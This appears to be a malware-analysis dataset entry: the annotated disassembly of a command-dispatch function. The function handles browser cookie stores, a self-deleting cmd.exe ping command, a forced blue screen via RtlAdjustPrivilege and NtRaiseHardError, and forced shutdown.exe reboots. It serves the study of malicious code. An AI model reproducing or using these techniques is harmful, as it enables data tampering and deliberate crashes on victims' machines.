Function at 0x4022d8
Capabilities:
Create process on windows
Read .ini file
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [edx + 4]
sub esp, 0x5fc
push ebx
xor ebx, ebx
push esi
push edi
sub eax, ebx
je 0x40264d
sub eax, 1
je 0x402645
sub eax, 1
je 0x4025f9
sub eax, 1
je 0x4024db
sub eax, 1
je 0x4024d4
sub eax, 1
jne 0x402659
lea ecx, [ebp - 0x50]
call fcn.00414e14
push 0x1c
pop esi
mov edx, esi
lea ecx, [ebp - 4]
call fcn.00414891
push str.LocalGoogleChromeUser_DataDefaultNetworkCookies
lea ecx, [ebp - 4]
call fcn.004034f3
push ecx
lea eax, [ebp - 4]
mov ecx, esp
push eax
call fcn.00403611
call fcn.004150e5
push 0x1a
pop edx
lea ecx, [ebp - 0x10]
call fcn.00414891
lea ecx, [ebp - 0x10]
mov dword [esp], str.MozillaFirefox_
call fcn.004034f3
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 8]
call fcn.00403611
push str.profiles.ini
lea ecx, [ebp - 8]
call fcn.004034f3
push str.Profile
lea ecx, [ebp - 0x24]
call fcn.0040346a
push ebx
lea ecx, [ebp - 0x24]
call fcn.00403591
push 0x208
lea eax, [ebp - 0x5f8]
push ebx
push eax
call fcn.004012cf
add esp, 0xc
lea eax, [ebp - 0x5f8]
push dword [ebp - 8]
push 0x104
push eax
push ebx
push str.Path
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0xc]
call fcn.00403611
lea eax, [ebp - 0x5f8]
push eax
lea ecx, [ebp - 0xc]
call fcn.004034f3
push str.cookies.sqlite
mov ecx, eax
call fcn.00403551
push ecx
lea eax, [ebp - 0xc]
mov ecx, esp
push eax
call fcn.00403611
call fcn.004150e5
mov edx, esi
lea ecx, [ebp - 0x20]
call fcn.00414891
lea ecx, [ebp - 0x20]
mov dword [esp], str.MicrosoftEdgeUser_DataDefaultcookies
call fcn.00403551
push ecx
lea eax, [ebp - 0x20]
mov ecx, esp
push eax
call fcn.00403611
call fcn.004150e5
mov edx, esi
lea ecx, [ebp - 0x1c]
call fcn.00414891
lea ecx, [ebp - 0x1c]
mov dword [esp], str.MicrosoftWindowsINetCookies
call fcn.00403551
push ecx
lea eax, [ebp - 0x1c]
mov ecx, esp
push eax
call fcn.00403611
call fcn.004150e5
mov edx, esi
lea ecx, [ebp - 0x18]
call fcn.00414891
lea ecx, [ebp - 0x18]
mov dword [esp], str.MicrosoftWindowsCookies
call fcn.00403551
push ecx
lea eax, [ebp - 0x18]
mov ecx, esp
push eax
call fcn.00403611
call fcn.004150e5
pop ecx
mov ecx, dword [ebp - 0x18]
call fcn.004068b7
mov ecx, dword [ebp - 0x1c]
call fcn.004068b7
mov ecx, dword [ebp - 0x20]
call fcn.004068b7
mov ecx, dword [ebp - 0xc]
call fcn.004068b7
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xc], ebx
call fcn.004068b7
mov ecx, dword [ebp - 8]
call fcn.004068b7
mov ecx, dword [ebp - 0x10]
call fcn.004068b7
mov ecx, dword [ebp - 4]
call fcn.004068b7
lea ecx, [ebp - 0x50]
call fcn.00414e30
jmp 0x402659
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x44
lea eax, [ebp - 0x94]
push ebx
push eax
call fcn.004012cf
add esp, 0xc
lea esi, [ebp - 0x94]
lea edi, [ebp - 0xe0]
xor eax, eax
push 0x11
pop ecx
rep movsd dword es:[edi], dword [esi]
lea edi, [ebp - 0x48]
stosd dword es:[edi], eax
lea esi, [ebp - 0x48]
push 0x104
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x1e8]
lea edi, [ebp - 0x38]
movsd dword es:[edi], dword [esi]
push eax
push ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0xe
pop ecx
mov esi, str.cmd.exe__C_ping_1.2.3.4__n_4__w_1000___Nul__cmd.exe__C
lea edi, [ebp - 0x3f0]
rep movsd dword es:[edi], dword [esi]
push 0x22
pop eax
lea esi, [ebp - 0x1e8]
mov byte [ebp - 0x3b8], al
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x402546
sub esi, ecx
lea eax, [ebp - 0x1e8]
push esi
push eax
lea eax, [ebp - 0x3b7]
push eax
call fcn.004012a9
add esp, 0xc
lea ecx, [ebp - 4]
push 0x22
pop eax
push 5
pop edx
mov word [ebp + esi - 0x3b7], ax
call fcn.00414891
push str.Documents:ApplicationData
lea ecx, [ebp - 4]
call fcn.004034f3
lea ecx, [ebp - 8]
call fcn.00414844
push dword [ebp - 4]
mov esi, dword [sym.imp.USER32.dll_CharLowerW]
call esi
push dword [ebp - 8]
mov edi, eax
call esi
push edi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x4025e7
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0xe0]
push eax
push ebx
push ebx
push 0x8000000
push ebx
push ebx
push ebx
lea eax, [ebp - 0x3f0]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push dword [ebp - 0x34]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x38]
call esi
jmp 0x4024d4
mov ecx, dword [ebp - 8]
call fcn.004068b7
mov ecx, dword [ebp - 4]
call fcn.004068b7
jmp 0x402659
push str.RtlAdjustPrivilege
mov ebx, 0x41a5e8
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
push str.NtRaiseHardError
push ebx
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call esi
mov esi, eax
xor ebx, ebx
lea eax, [ebp - 0x11]
push eax
push ebx
push 1
push 0x13
call edi
lea eax, [ebp - 0x28]
push eax
push 6
push ebx
push ebx
push ebx
push 0xc00002b4
call esi
jmp 0x402659
push ebx
push str.shutdown.exe__r__f__t_00
jmp 0x402653
push ebx
push str.shutdown.exe__r__t_00
call dword [sym.imp.KERNEL32.dll_WinExec]
pop edi
pop esi
pop ebx
leave
ret